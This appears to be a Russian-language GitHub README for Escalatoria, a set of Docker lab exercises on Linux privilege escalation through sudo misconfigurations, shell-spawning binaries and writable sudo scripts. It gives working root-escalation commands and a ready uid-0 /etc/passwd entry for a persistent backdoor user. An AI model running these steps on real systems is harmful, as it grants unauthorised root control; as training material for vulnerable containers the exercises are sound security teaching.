Escalatoria
Большое практическое руководство по повышению привилегий в Linux
Install / Use
/learn @GeenStack/EscalatoriaREADME
Escalatoria
Этот репозиторий содержит набор упражнений по повышению привилегий в Linux Репозиторий включает в себя УКАЗАТЬ ФИНАЛЬНОЕ КОЛИЧЕСЧТВО файлов для Docker, из которых формируются уязвимые образы. Представлены упражнения по повышению привилегий с использованием следующих техник:
- Повышение привилегий за счет неправильных настроек sudo
- Повышение привилегий за счет неправильно установленных suid для файлов
- Повышение привилегий за счет неправильно установленных capabilities для бинарных файлов
- Повышение привилегий через crontab
- Повышение привилегий через переменные окружения
Получение репозитория
- Скопируйте репозиторий на свою машину командой
git clone https://github.com/GeenStack/Escalatoria - Установите Docker
- Приступайте!
Повышение привилегий за счет неправильных настроек sudo
1. ДОСТУПНО ВСЕ!
В этом упражнении мы увидим, как опасна настройка sudo, при которой пользователю разрешено выполнение любых команд без пароля
-
Перейдите в каталог abuse_sudo/nopasswd/ командой
cd abuse_sudo/nopasswd -
Соберите уязвимый образ командой
docker build -t sudo_no_passwd . -
Запустите контейнер из собранного образа и перейдите в его оболочку с помощью команды
docker run -it sudo_no_passwd /bin/bash -
Итак, первое, с чего мы начинаем свое повышение привилегий - проверка наличия у текущего пользователя прав sudo. Выполните команду
sudo -l

- Мы видим, что для пользователя escalator через sudo доступно выполнение любых команд от имени суперпользователя без ввода пароля, для повышения привилегий достаточно выполнить
sudo su

Это был достаточно легкий пример повышения привилегий. Попробуем что-то другое
2. Приложения, выполняющиеся через sudo
2.1 Приложения, которые могут осуществлять запись в файл
Теперь мы приступим к техникам повышения привилегий в том случае, когда нам доступно sudo на бинарные файлы, которые могут осуществлять запись в файл. Мы рассмотрим повышение привилегий через sudo на текстовый редактор nano и через sudo на команду mv
-
Перейдите в каталог abuse_sudo/sudo_on_bin/write_file/abuse_nano
-
Соберите уязвимый образ
docker build -t abuse_nano . -
Запустите контейнер из собранного образа и перейдите в его оболочку с помощью команды
docker run -it abuse_nano /bin/bash -
Выполните
sudo -l

- Мы видим, что мы можем через sudo использовать nano, и редактировать файлы с правами root. Для повышения привилегий необходимо отредактировать файл /etc/passwd, создав своего пользователя с правами root. Таким образом также осуществляется закрепление в системе. Для этого необходимо проделать следующие шаги:
- На своем хосте сгенирируем хэш пароля evilpass для пользователя eviluser командой
openssl passwd -1 -salt eviluser evilpassword

- Изменим внутри контейнера файл /etc/passwd используя nano
sudo nano /etc/passwd. Добавим своего пользователя, добавив в конец файла строку: eviluser:$1$eviluser$eIaLEOmpQR3YjlJE1f/En.:0:0:/root/root:/bin/bash

- Сохраним файл и откроем терминальную сессию для пользователя eviluser командой
su eviluser, вводим пароль evilpassword. В итоге мы получаем сессию пользователя с правами root

Теперь давайте попробуем повысить привилегии, используя sudo на команду mv
-
Перейдите в каталог abuse_sudo/sudo_on_bin/write_file/abuse_mv
-
Соберите уязвимый образ
docker build -t abuse_mv . -
Запустите контейнер из собранного образа и перейдите в его оболочку с помощью команды
docker run -it abuse_mv /bin/bash -
Выполните
sudo -l

- Мы видим, что нам доступно выполнение через sudo команды mv. Выстроим следующий вектор повышения привилегий: создадим копию файла /etc/passwd, добавим в нее своего пользователя с правами root, заменим с помощью команды mv оригинальный /etc/passwd нашей копией. Выполните следующие шаги:
- Выполните в контейнере команду
cp /etc/passwd passwd_copy - Внесите в passwd_copy строку eviluser:$1$eviluser$eIaLEOmpQR3YjlJE1f/En.:0:0:/root/root:/bin/bash
- Выполните команду
sudo mv passwd_copy /etc/passwdНа скриншоте ниже продемонстрирован перезаписанный командой mv файл /etc/passwd

- Выполните команду
su eviluser, вы получите сессию пользователя с правами root
2.2 Приложения, которые могут вызвать shell
В некоторых случаях нам может быть доступно выполнение через sudo приложений, которые могут вызывать оболочу shell. Мы рассмторим примеры получения оболочки через интерпретаторы python, perl, а также вызов оболочки с помощью утилиты find.
-
Перейдите в каталог abuse_sudo/sudo_on_bin/spawn_shell/shell_via_python
-
Соберите уязвимый образ командой
docker build -t shell_via_python . -
Запустите контейнер из собранного образа и перейдите в его оболочку с помощью команды
docker run -it shell_via_python /bin/bash -
Результат команды
sudo -lговорит нам о том, что нам доступно выполнение python3 от имени суперпользователя. -
Для повышения привилегий запустите python3 через sudo, импортируйте модуль pty, вызовите его метод spawn, передав ему аргумент '/bin/sh'. Вы можете также выполнить команду
sudo python3 -c "import pty; pty.spawn('/bin/sh')"
На скриншоте ниже Вы можете наблюдать описаные процедуры для повышения привилегий:

Вызов оболочки через perl осуществляется по похожему принципу.
- Перейдите в каталог abuse_sudo/sudo_on_bin/spawn_shell/shell_via_perl
- Соберите уязвимый образ командой
docker build -t shell_via_perl . - Запустите контейнер из собранного образа и перейдите в его оболочку с помощью команды
docker run -it shell_via_perl /bin/bash
- Результат команды
sudo -lговорит нам о том, что нам доступно выполнение perl от имени суперпользователя. - Для повышения привилегий выполните команду
sudo perl -e 'exec "/bin/sh";'
На скриншоте ниже Вы можете наблюдать описаные процедуры для повышения привилегий:

Несколько интереснее выглядит вызов оболочки через утилиту find.
- Перейдите в каталог abuse_sudo/sudo_on_bin/spawn_shell/shell_via_find
- Соберите уязвимый образ командой
docker build -t shell_via_find . - Запустите контейнер из собранного образа и перейдите в его оболочку с помощью команды
docker run -it shell_via_find /bin/bash
- Результат команды
sudo -lговорит нам о том, что нам доступно выполнение find от имени суперпользователя. - Для повышения привилегий выполните команду
sudo find . -exec /bin/sh \; -quit
На скриншоте ниже Вы можете наблюдать описаные процедуры для повышения привилегий:

Выполнение через sudo скриптов
Встречаются ситуации, когда через sudo выполняются не какие-то конкретные команды, а скрипты. Если такие скрипты доступны нас для записи, то мы можем легко получить повышение привилегий. Далее мы рассмотрим повышение привелегий через перезапись исполняемых с помощью sudo скриптов на shell и python
- Перейдите в каталог abuse_sudo/sudo_on_scripts/shell_script
- Соберите уязвимый образ командой
docker build -t shell_script.3. Запустите контейнер из собранного образа и перейдите в его оболочку с помощью команды
docker run -it shell_script /bin/bash
- Результат команды
sudo -lговорит нам о том, что нам доступно выполнение /bin/scripts/script.sh от имени суперпользователя. мы видим, что скрипт предназначен для чтения файла /etc/sudoers

- Далее необходимо узнать о правах доступа на этот скрипт, выполним команду
ls -l /bin/scripts/script.sh

- Мы видим, что скрипт является исполняемым, кроме того, он доступен нам для записи. Попробуем его выполнить командой
sudo /bin/scripts/script.sh

- Как видно, скрипт прочитал файл /etc/sudoers, чтение которого не разрешено для обычных пользователей. Тот факт, что скрипт смог прочитать файл, логиен, поскольку скрипт выполняется с правами root. Поскольку скрипт доступен нам для записи, мы можем дополнять его любыми командами, которые также будут выполняться с правами root. Для повышения привилегий мы изменим файл /bin/scripts/script.sh, добавив вызов оболочки bash командой /bin/bash

- Повторим команду
sudo /bin/scripts/script.shи в итоге получим сессию от root

Повышение привилегий в ситуации, когда через sudo осуществляется выполнение скрипта, доступно не только для сценариев на bash. Это могут быть сценарии на php, python, perl.
- Перейдите в каталог abuse_sudo/sudo_on_scripts/python_script
- Соберите уязвимый образ командой
docker build -t python_script. - Запустите контейнер из собранного образа и перейдите в его оболочку с помощью команды
docker run -it python_script /bin/bash
- Результат команды
sudo -lговорит нам о том, что нам доступно выполнение /bin/scripts/script.py от имени суперпользователя. мы видим, что скрипт предназначен для чтения файла /etc/sudoers. Мы также проверяем права доступа на скрипт командойls -l /bin/scripts/scripts.py. Скрипт является исполняемым файлом и доступен для записи.

- Для повышения привилегий мы изменим содержимое скрипта. Уже знакомым по одному из предыдущих упражнений методом мы импортируем модуль pty и вызываем с помощью него оболочку shell

- Выполняем команду
sudo /bin/scripts/script.pyи получаем сессию root.

Повышение привилегий за счет неправильно установленных suid для файлов
Related Skills
node-connect
352.5kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
111.3kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
352.5kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
qqbot-media
352.5kQQBot 富媒体收发能力。使用 <qqmedia> 标签,系统根据文件扩展名自动识别类型(图片/语音/视频/文件)。
